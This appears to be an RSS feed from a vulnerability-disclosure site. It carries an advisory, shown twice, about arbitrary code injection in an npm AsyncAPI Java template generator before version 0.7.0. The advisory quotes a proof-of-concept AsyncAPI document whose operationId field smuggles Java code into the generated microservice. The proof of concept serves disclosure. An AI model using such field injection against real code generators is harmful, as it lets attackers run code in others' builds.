https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 09 Oct 2026 10:54:21 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-29955 EUVD-2026-29955 https://cve.radiocsirt.org/vuln/euvd-2026-29955 https://cve.radiocsirt.org/vuln/fkie_cve-2021-37694 <p>@asyncapi/java-spring-cloud-stream-template generates a Spring Cloud Stream (SCSt) microservice. In versions prior to 0.7.0 arbitrary code injection was possible when an attacker controls the AsyncAPI document. An example is provided in GHSA-xj6r-2jpm-qvxp. There are no mitigations available and all users are advised to update.</p> <p>@asyncapi/java-spring-cloud-stream-template generates a Spring Cloud Stream (SCSt) microservice. In versions prior to 0.7.0 arbitrary code injection was possible when an attacker controls the AsyncAPI document. An example is provided in GHSA-xj6r-2jpm-qvxp. There are no mitigations available and all users are advised to update.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2021-37694 https://cve.radiocsirt.org/vuln/ghsa-xj6r-2jpm-qvxp <p><strong>Affected:</strong> npm: @asyncapi/java-spring-cloud-stream-template</p> <p>The following was initially reported by @jonaslagoni:</p> <p>Given the following command: `ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output`</p> <p>With the following AsyncAPI document: ```json { &#34;asyncapi&#34;: &#34;2.0.0&#34;, &#34;info&#34;: { &#34;title&#34;: &#34;Streetlight&#34;, &#34;version&#34;: &#34;1.0.0&#34; }, &#34;defaultContentType&#34;: &#34;json&#34;, &#34;channels&#34;: { &#34;security/audit/channel&#34;: { &#34;description&#34;: &#34;Channel for the turn on command which should turn on the streetlight&#34;, &#34;parameters&#34;: { &#34;streetlight_id&#34;: { &#34;description&#34;: &#34;The ID of the streetlight&#34;, &#34;schema&#34;: { &#34;type&#34;: &#34;string&#34; } } }, &#34;publish&#34;: { &#34;operationId&#34;: &#34;test() { System.out.println(\&#34;injected\&#34;); return test(0); }\n public Consumer&lt;CustomClass&gt; someothername&#34;, &#34;message&#34;: { &#34;name&#34;: &#34;TurnonCommand&#34;, &#34;payload&#34;: { &#34;$ref&#34;: &#34;#/components/schemas/CustomClass&#34; } } } } }, &#34;components&#34;: { &#34;schemas&#34; : { &#34;CustomClass&#34;: { &#34;type&#34;: &#34;object&#34;, &#34;properties&#34;: { &#34;prop&#34;: { &#34;type&#34;: &#34;string&#34; } } } } } } ```</p> <p>Which changes the following output:</p> <p>```java ... @Bean public Consumer&lt;CustomClass&gt; test() { // Add business logic here. return null; } ... ``` To ```java ... @Bean public Consumer&lt;CustomClass&gt; test() { System.out.println(&#34;injected&#34;); return someothername(); } public…</p> <p><strong>Affected:</strong> npm: @asyncapi/java-spring-cloud-stream-template</p> <p>The following was initially reported by @jonaslagoni:</p> <p>Given the following command: `ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output`</p> <p>With the following AsyncAPI document: ```json { &#34;asyncapi&#34;: &#34;2.0.0&#34;, &#34;info&#34;: { &#34;title&#34;: &#34;Streetlight&#34;, &#34;version&#34;: &#34;1.0.0&#34; }, &#34;defaultContentType&#34;: &#34;json&#34;, &#34;channels&#34;: { &#34;security/audit/channel&#34;: { &#34;description&#34;: &#34;Channel for the turn on command which should turn on the streetlight&#34;, &#34;parameters&#34;: { &#34;streetlight_id&#34;: { &#34;description&#34;: &#34;The ID of the streetlight&#34;, &#34;schema&#34;: { &#34;type&#34;: &#34;string&#34; } } }, &#34;publish&#34;: { &#34;operationId&#34;: &#34;test() { System.out.println(\&#34;injected\&#34;); return test(0); }\n public Consumer&lt;CustomClass&gt; someothername&#34;, &#34;message&#34;: { &#34;name&#34;: &#34;TurnonCommand&#34;, &#34;payload&#34;: { &#34;$ref&#34;: &#34;#/components/schemas/CustomClass&#34; } } } } }, &#34;components&#34;: { &#34;schemas&#34; : { &#34;CustomClass&#34;: { &#34;type&#34;: &#34;object&#34;, &#34;properties&#34;: { &#34;prop&#34;: { &#34;type&#34;: &#34;string&#34; } } } } } } ```</p> <p>Which changes the following output:</p> <p>```java ... @Bean public Consumer&lt;CustomClass&gt; test() { // Add business logic here. return null; } ... ``` To ```java ... @Bean public Consumer&lt;CustomClass&gt; test() { System.out.println(&#34;injected&#34;); return someothername(); } public…</p> https://cve.radiocsirt.org/vuln/ghsa-xj6r-2jpm-qvxp https://cve.radiocsirt.org/vuln/gsd-2021-37694 gsd-2021-37694 https://cve.radiocsirt.org/vuln/gsd-2021-37694